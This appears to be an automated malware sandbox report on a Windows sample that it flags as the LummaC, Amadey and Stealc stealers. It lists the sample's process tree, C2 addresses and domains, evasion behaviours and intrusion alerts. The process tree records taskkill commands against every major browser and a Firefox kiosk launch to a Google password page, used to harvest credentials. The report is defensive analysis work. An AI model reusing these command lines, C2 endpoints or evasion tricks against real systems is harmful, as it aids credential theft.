Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546662
MD5:	ea1b8bafcb99bc660562bcb5f4cb63f3
SHA1:	cc97f694826c90cc8c8bd9666066ec491828d401
SHA256:	c340f6ccce063fd78345f78e8c1970a5d6e170192cdbd20e5b48884f7268bd37
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5140 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EA1B8BAFCB99BC660562BCB5F4CB63F3)

UOZM77Y2O77YBMEWY4B8DEDXRXA.exe (PID: 7744 cmdline: "C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe" MD5: 6989522DFAD3FB3983E6A357C5D32447)

SU4Z0W976Y8CJ3Z4HHN.exe (PID: 7860 cmdline: "C:\Users\user~1\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe" MD5: 36F337DF5AF6FC1D820E0F111A73C352)

skotes.exe (PID: 8108 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 36F337DF5AF6FC1D820E0F111A73C352)

skotes.exe (PID: 1516 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 36F337DF5AF6FC1D820E0F111A73C352)

6c1c4a36e1.exe (PID: 5640 cmdline: "C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe" MD5: EA1B8BAFCB99BC660562BCB5F4CB63F3)

4b41d9dd20.exe (PID: 6728 cmdline: "C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe" MD5: E71C5AEE12EE323FC4F40010437D4186)

9af14a3c40.exe (PID: 2140 cmdline: "C:\Users\user~1\AppData\Local\Temp\1003158001\9af14a3c40.exe" MD5: 47E53A1655BB6D29868F5A784F62177D)

taskkill.exe (PID: 2080 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7040 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7508 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 348 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8028 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7872 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 1352 cmdline: "C:\Users\user~1\AppData\Local\Temp\1003159001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

firefox.exe (PID: 7920 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7936 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5808 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9da095b4-305f-4255-8eee-f99f24ad1374} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f35a171110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6020 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4256 -prefMapHandle 4252 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5a37ea2d-6337-4935-aa82-5eddfa797fba} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f36bf3e210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

6c1c4a36e1.exe (PID: 8108 cmdline: "C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe" MD5: EA1B8BAFCB99BC660562BCB5F4CB63F3)

4b41d9dd20.exe (PID: 5320 cmdline: "C:\Users\user~1\AppData\Local\Temp\1003157001\4b41d9dd20.exe" MD5: E71C5AEE12EE323FC4F40010437D4186)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "necklacedmny.store", "founpiuer.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1003159001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000012.00000003.2305295015.0000000001488000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2284213828.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2283516905.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2379592196.00000000017FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000013.00000003.2271033754.0000000005380000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2269185337.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2314305841.00000000018EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000003.2472215576.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2301693773.0000000001496000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.1674157264.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000003.2104275419.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000000.2371370494.00000000008EE000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000000.2371042697.00000000008D1000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2321077874.0000000001488000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2283723837.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2397297252.00000000008D1000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2302606153.0000000001488000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2302114944.0000000001488000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.1547185518.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2301693773.0000000001488000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2268831971.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000002.2532922901.0000000000C23000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2285702611.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2397549436.00000000008EE000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.2312440021.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000029.00000002.2513367110.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.1633536068.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2285577921.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1633975224.0000000000AC1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2301992419.0000000001496000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000003.2321024106.0000000001495000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5140	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6c1c4a36e1.exe PID: 5640	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6c1c4a36e1.exe PID: 5640	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6c1c4a36e1.exe PID: 5640	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 4b41d9dd20.exe PID: 6728	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4b41d9dd20.exe PID: 6728	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 9af14a3c40.exe PID: 2140	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 1352	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 1352	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 6c1c4a36e1.exe PID: 8108	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4b41d9dd20.exe PID: 5320	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4b41d9dd20.exe PID: 5320	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author
37.2.num.exe.8d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.SU4Z0W976Y8CJ3Z4HHN.exe.ac0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.0.num.exe.8d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
16.2.skotes.exe.f50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
41.2.4b41d9dd20.exe.a30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
19.2.4b41d9dd20.exe.a30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
12.2.skotes.exe.f50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1516, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6c1c4a36e1.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1003156001\6c1c4a36e1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1516, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6c1c4a36e1.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5140, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe", ProcessId: 7744, ProcessName: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:24.580170+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.7	49746	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:02.094860+0100	2028371	3	Unknown Traffic	192.168.2.7	50033	188.114.97.3	443	TCP
2024-11-01T12:13:10.291626+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:13:12.753477+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:13:14.050357+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	188.114.97.3	443	TCP
2024-11-01T12:13:16.627758+0100	2028371	3	Unknown Traffic	192.168.2.7	49710	188.114.97.3	443	TCP
2024-11-01T12:13:18.211708+0100	2028371	3	Unknown Traffic	192.168.2.7	49719	188.114.97.3	443	TCP
2024-11-01T12:13:19.731850+0100	2028371	3	Unknown Traffic	192.168.2.7	49729	188.114.97.3	443	TCP
2024-11-01T12:13:22.358752+0100	2028371	3	Unknown Traffic	192.168.2.7	49741	188.114.97.3	443	TCP
2024-11-01T12:13:25.937763+0100	2028371	3	Unknown Traffic	192.168.2.7	49765	188.114.97.3	443	TCP
2024-11-01T12:14:43.944625+0100	2028371	3	Unknown Traffic	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:14:45.182099+0100	2028371	3	Unknown Traffic	192.168.2.7	49983	188.114.97.3	443	TCP
2024-11-01T12:14:47.512987+0100	2028371	3	Unknown Traffic	192.168.2.7	49984	188.114.97.3	443	TCP
2024-11-01T12:14:49.050044+0100	2028371	3	Unknown Traffic	192.168.2.7	49987	188.114.97.3	443	TCP
2024-11-01T12:14:50.993765+0100	2028371	3	Unknown Traffic	192.168.2.7	49989	188.114.97.3	443	TCP
2024-11-01T12:14:54.674058+0100	2028371	3	Unknown Traffic	192.168.2.7	49992	188.114.97.3	443	TCP
2024-11-01T12:14:58.571371+0100	2028371	3	Unknown Traffic	192.168.2.7	50000	188.114.97.3	443	TCP
2024-11-01T12:15:02.226192+0100	2028371	3	Unknown Traffic	192.168.2.7	50004	188.114.97.3	443	TCP
2024-11-01T12:15:05.186913+0100	2028371	3	Unknown Traffic	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:06.564040+0100	2028371	3	Unknown Traffic	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:09.587675+0100	2028371	3	Unknown Traffic	192.168.2.7	50026	188.114.97.3	443	TCP
2024-11-01T12:15:11.286110+0100	2028371	3	Unknown Traffic	192.168.2.7	50028	188.114.97.3	443	TCP
2024-11-01T12:15:40.898958+0100	2028371	3	Unknown Traffic	192.168.2.7	50030	188.114.97.3	443	TCP
2024-11-01T12:15:47.289416+0100	2028371	3	Unknown Traffic	192.168.2.7	50031	188.114.97.3	443	TCP
2024-11-01T12:15:48.538743+0100	2028371	3	Unknown Traffic	192.168.2.7	50032	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:10.866258+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:13:13.201469+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:13:26.664504+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49765	188.114.97.3	443	TCP
2024-11-01T12:14:44.465094+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:14:45.676833+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49983	188.114.97.3	443	TCP
2024-11-01T12:15:02.718717+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50004	188.114.97.3	443	TCP
2024-11-01T12:15:05.772930+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:07.038672+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:41.405135+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50030	188.114.97.3	443	TCP
2024-11-01T12:15:47.788498+0100	2054653	1	A Network Trojan was detected	192.168.2.7	50031	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:10.866258+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:14:44.465094+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:15:05.772930+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50012	188.114.97.3	443	TCP
2024-11-01T12:15:41.405135+0100	2049836	1	A Network Trojan was detected	192.168.2.7	50030	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:13.201469+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:14:45.676833+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49983	188.114.97.3	443	TCP
2024-11-01T12:15:07.038672+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50019	188.114.97.3	443	TCP
2024-11-01T12:15:47.788498+0100	2049812	1	A Network Trojan was detected	192.168.2.7	50031	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T12:13:02.094860+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	50033	188.114.97.3	443	TCP
2024-11-01T12:13:10.291626+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49699	188.114.97.3	443	TCP
2024-11-01T12:13:12.753477+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	188.114.97.3	443	TCP
2024-11-01T12:13:14.050357+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	188.114.97.3	443	TCP
2024-11-01T12:13:16.627758+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49710	188.114.97.3	443	TCP
2024-11-01T12:13:18.211708+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49719	188.114.97.3	443	TCP
2024-11-01T12:13:19.731850+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49729	188.114.97.3	443	TCP
2024-11-01T12:13:22.358752+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49741	188.114.97.3	443	TCP
2024-11-01T12:13:25.937763+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49765	188.114.97.3	443	TCP
2024-11-01T12:14:43.944625+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49982	188.114.97.3	443	TCP
2024-11-01T12:14:45.182099+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49983	188.114.97.3	443	TCP
